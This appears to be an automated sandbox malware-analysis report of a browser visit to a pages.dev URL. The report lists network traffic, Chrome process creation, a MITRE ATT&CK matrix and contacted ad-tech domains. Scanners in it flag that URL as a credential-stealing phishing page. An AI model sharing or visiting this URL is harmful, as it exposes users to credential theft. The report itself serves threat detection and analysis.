Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50367
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50371
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50370
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50340 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 50478 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50535
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50534
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50537
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50536
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50539
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50538
Source: unknown	Network traffic detected: HTTP traffic on port 50571 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50315 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50531
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50530
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50533
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50532
Source: unknown	Network traffic detected: HTTP traffic on port 50350 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50536 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50267 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50362 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50304
Source: unknown	Network traffic detected: HTTP traffic on port 50444 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50546
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50545
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50306
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50548
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50305
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50547
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50308
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50307
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50549
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50309
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50540
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50201 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50300
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50542
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50541
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50544
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50301
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50476 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50315
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50557
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50314
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50556
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50317
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50316
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50558
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50319
Source: unknown	Network traffic detected: HTTP traffic on port 50548 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50318
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50279 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50551
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50550
Source: unknown	Network traffic detected: HTTP traffic on port 50394 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50553
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50552
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50313
Source: unknown	Network traffic detected: HTTP traffic on port 50223 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50554
Source: unknown	Network traffic detected: HTTP traffic on port 50454 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50349 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50326
Source: unknown	Network traffic detected: HTTP traffic on port 50503 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50568
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50567
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50327
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50329
Source: unknown	Network traffic detected: HTTP traffic on port 50245 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50320
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50561
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50564
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50563
Source: unknown	Network traffic detected: HTTP traffic on port 50488 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50323
Source: unknown	Network traffic detected: HTTP traffic on port 50372 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50565
Source: unknown	Network traffic detected: HTTP traffic on port 50290 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50432 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50514 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50185 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50409 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50327 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50295
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50298
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50297
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50299
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50343 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50389 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50584 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50274 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 50331 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 50205 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50434 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50537 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50308 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443

Source: unknown	HTTPS traffic detected: 23.51.58.94:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.51.58.94:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.51.58.94:443 -> 192.168.2.4:49749 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\chrome_BITS_3300_1295003207

Jump to behavior

Source: classification engine

Classification label: mal64.phis.win@83/272@448/100

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2080 --field-trial-handle=1784,i,10381931829972105823,15451008937242918815,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe" "https://see-eim.pages.dev/login_files/loga
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=8244 --field-trial-handle=1784,i,10381931829972105823,15451008937242918815,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2080 --field-trial-handle=1784,i,10381931829972105823,15451008937242918815,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=8244 --field-trial-handle=1784,i,10381931829972105823,15451008937242918815,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	12 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Abuse Accessibility Features	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	4 Non-Application Layer Protocol	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	5 Application Layer Protocol			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Traffic Duplication	3 Ingress Tool Transfer			Data Destruction	Virtual Private Server	Employee Names

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://see-eim.pages.dev/login_files/loga	100%	Avira URL Cloud	phishing
https://see-eim.pages.dev/login_files/loga	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering

Source	Detection	Scanner	Label
https://sync.ipredictive.com/d/sync/cookie/generic?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MzI1MCZ0bD0xMjk2MDA=&piggybackCookie=${ADELPHIC_CUID}&gdpr=0&gdpr_consent=	0%	URL Reputation	safe
https://matching.truffle.bid/sync/pub?sid=161&suid=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0NDQmdGw9MjAxNjA=&piggybackCookie=$UID	0%	URL Reputation	safe
https://beacon.lynx.cognitivlabs.com/pbmtc.gif?redir=https://simage2.pubmatic.com/AdServer/Pug?vcode	0%	Avira URL Cloud	safe
https://sync.technoratimedia.com/services?uid=AABsm07LPlAAABMLLoldYg&srv=cs&pid=73&cb=https%3A%2F%2Fmatch.prod.bidr.io%2Fcookie-sync%3Fgdpr%3D0%26gdpr%3D0%26userid%3D5415633966123335522%26gdpr%3D0%26gdpr_consent%3D%26bee_sync_partners%3Dpm%26bee_sync_current_partner%3Dsyn%26bee_sync_initiator%3Dadx%26bee_sync_hop_count%3D4&gdpr=0	0%	Avira URL Cloud	safe
about:blank	0%	Avira URL Cloud	safe
https://match.prod.bidr.io/cookie-sync/rp?bee_sync_partners=rp&gdpr=0&us_privacy=1YNN	0%	Avira URL Cloud	safe
https://forms.dotdashmeredith.com/people-news-inline	0%	Avira URL Cloud	safe
https://us01.z.antigena.com/l/FZt5psomz79DGe~O1V5PkX7S8-NVJIdw0INR-k~Duu9c36GyIDyElf4y8fa2~-9InNSq4BCadyu-8tQSiIkaVleT~Yh8GI4ocNSeo4~API4DJEsYNIMg2sPMMXvjcckTUFy53ZYw3gzv35jSAchydRkSr2XFgqe-kzzlKTlv1VT7-TlAc0PcX7nFzbKlHypwbpU3AWUAJgUx%20AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&rnd=RND	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
um.simpli.fi	35.194.66.159	true	false	high
rtb-csync-use1.smartadserver.com	23.105.14.106	true	false	high
tls13.taboola.map.fastly.net	151.101.129.44	true	false	unknown
global.px.quantserve.com	192.184.68.215	true	false	high
us-east-eb2.3lift.com	52.223.22.214	true	false	high
prebid.media.net	34.120.63.153	true	false	high
i.clean.gg	34.95.69.49	true	false	unknown
pixel-a.sitescout.com	207.198.113.87	true	false	high
cdn.w55c.net	54.208.16.196	true	false	high
dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com	54.165.128.106	true	false	high
crb.kargo.com	18.206.75.249	true	false	high
dualstack.tls13.taboola.map.fastly.net	151.101.1.44	true	false	unknown
lga-direct-bgp.contextweb.com	198.148.27.131	true	false	high
www.google.com	142.251.167.147	true	false	high
sync.intentiq.com	13.249.39.104	true	false	unknown
noa-atsv2.media.g03.yahoodns.net	66.218.87.15	true	false	unknown
idaas6.cph.liveintent.com	184.73.108.145	true	false	high
bcp.crwdcntrl.net	34.193.193.20	true	false	high
sync1.intentiq.com	13.249.39.70	true	false	unknown
match.adsrvr.org	15.197.193.217	true	false	high
rtactivateloadbalancer-2076579973.us-east-1.elb.amazonaws.com	100.25.25.103	true	false	high
match.prod.bidr.io	52.87.108.188	true	false	unknown
google.com	142.251.16.138	true	false	high
pagead-googlehosted.l.google.com	172.253.63.132	true	false	high
creativecdn.com	185.184.8.90	true	false	high
pugm-vac.pubmnet.com	8.28.7.81	true	false	unknown
widget.va1.vip.prod.criteo.com	74.119.119.150	true	false	high
m.deepintent.com	38.91.45.7	true	false	unknown
gtrace.mediago.io	35.208.249.213	true	false	unknown
cs815200983.wac.omegacdn.net	152.195.14.41	true	false	unknown
ssum-sec.casalemedia.com	172.64.151.101	true	false	high
beap-weighted.gemini-native-aws-core-usm-prod.aws.oath.cloud	34.202.68.237	true	false	unknown
rtb.adgrx.com	72.251.229.176	true	false	unknown
clients.l.google.com	172.253.122.102	true	false	high
match-us-east-1-ecs.sharethrough.com	3.91.137.4	true	false	high
rtb.adstanding.com	18.235.217.234	true	false	unknown
hb.yahoo.net	23.55.243.202	true	false	high
www.googletagservices.com	172.253.115.156	true	false	high
i.ctnsnet.com	35.186.193.173	true	false	high
hbx.media.net	23.195.76.23	true	false	high
iad-2-sync.go.sonobi.com	69.166.1.67	true	false	high
contextual.media.net	23.33.180.25	true	false	high
core.iprom.net	195.5.165.20	true	false	unknown
tsdtocl.com	151.101.129.44	true	false	unknown
idsync.rlcdn.com	35.244.154.8	true	false	high
rtb.adentifi.com	54.166.215.153	true	false	unknown
ad.mrtnsvr.com	34.102.163.6	true	false	unknown
lg1.hb.yahoo.net	23.44.133.4	true	false	high
sync.srv.stackadapt.com	54.174.90.242	true	false	high
synchroscript.deliveryengine.adswizz.com	18.160.10.111	true	false	high
thrtle.com	3.222.135.61	true	false	unknown
nava.vap.lijit.com	23.92.190.69	true	false	high
io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com	52.45.141.6	true	false	high
pixel.tapad.com	34.111.113.62	true	false	high
a.nel.cloudflare.com	35.190.80.1	true	false	high
pippio.com	107.178.254.65	true	false	high
sync.ipredictive.com	54.157.90.217	true	false	unknown
accounts.google.com	172.253.62.84	true	false	high
sync-dmp.mobtrakk.com	5.161.124.197	true	false	unknown
ds-media-router-api1.prod.media.g05.yahoodns.net	74.6.143.22	true	false	unknown
prod-rotation-v2.guce.aws.oath.cloud	52.45.116.182	true	false	unknown
s.amazon-adsystem.com	52.46.151.131	true	false	high
aax-eu.amazon-adsystem.com	54.239.38.253	true	false	high
m.hb.yahoo.net	34.111.85.214	true	false	high
trace.mediago.io	35.208.249.213	true	false	unknown
ipac.ctnsnet.com	35.186.193.173	true	false	high
geo-atsv2.media.g03.yahoodns.net	66.218.87.15	true	false	unknown
spug-njrpb.pubmnet.com	162.248.18.34	true	false	unknown
images.mediago.io	34.111.60.239	true	false	unknown
outspot2-ams.adx.opera.com	82.145.213.8	true	false	high
match.adsby.bidtheatre.com	188.166.17.21	true	false	unknown
ib.anycast.adnxs.com	68.67.160.76	true	false	high
edge.gycpi.b.yahoodns.net	69.147.92.11	true	false	unknown
us01.z.antigena.com	40.76.134.238	true	false	unknown
matching.truffle.bid	23.88.86.2	true	false	unknown
uipus.semasio.net	50.57.31.206	true	false	high
cdn.mediago.io	3.162.125.63	true	false	unknown
d20qwf0wrdtevy.cloudfront.net	13.249.39.110	true	false	high
me-ycpi-cf-www.g06.yahoodns.net	69.147.92.11	true	false	unknown
visitor-us-west-2.omnitagjs.com	44.236.142.66	true	false	high
sync.crwdcntrl.net	35.169.211.189	true	false	high
gob-njr3.pubmnet.com	104.36.115.111	true	false	unknown
cm.g.doubleclick.net	142.250.31.156	true	false	high
pug-vac.pubmnet.com	8.28.7.83	true	false	unknown
ds-pr-bh.ybp.gysm.yahoodns.net	54.197.142.67	true	false	unknown
sync.1rx.io	69.194.240.13	true	false	high
idaas-ext.cph.liveintent.com	54.85.14.136	true	false	high
cm127.appier.org	172.105.221.29	true	false	high
us-u.openx.net	34.98.64.218	true	false	high
securepubads46.g.doubleclick.net	172.253.122.156	true	false	high
rtb-cache.hb.yahoo.net	34.110.207.99	true	false	high
ssp-sync.va1.vip.prod.criteo.com	74.119.119.73	true	false	high
cs.media.net	23.205.72.21	true	false	high
envoy-hl.envoy-csync1.core-b8mf.ov1o.com	35.214.246.25	true	false	unknown
js-sec.indexww.com	104.18.38.76	true	false	unknown
dorpat.geo.iponweb.net	35.207.24.140	true	false	unknown
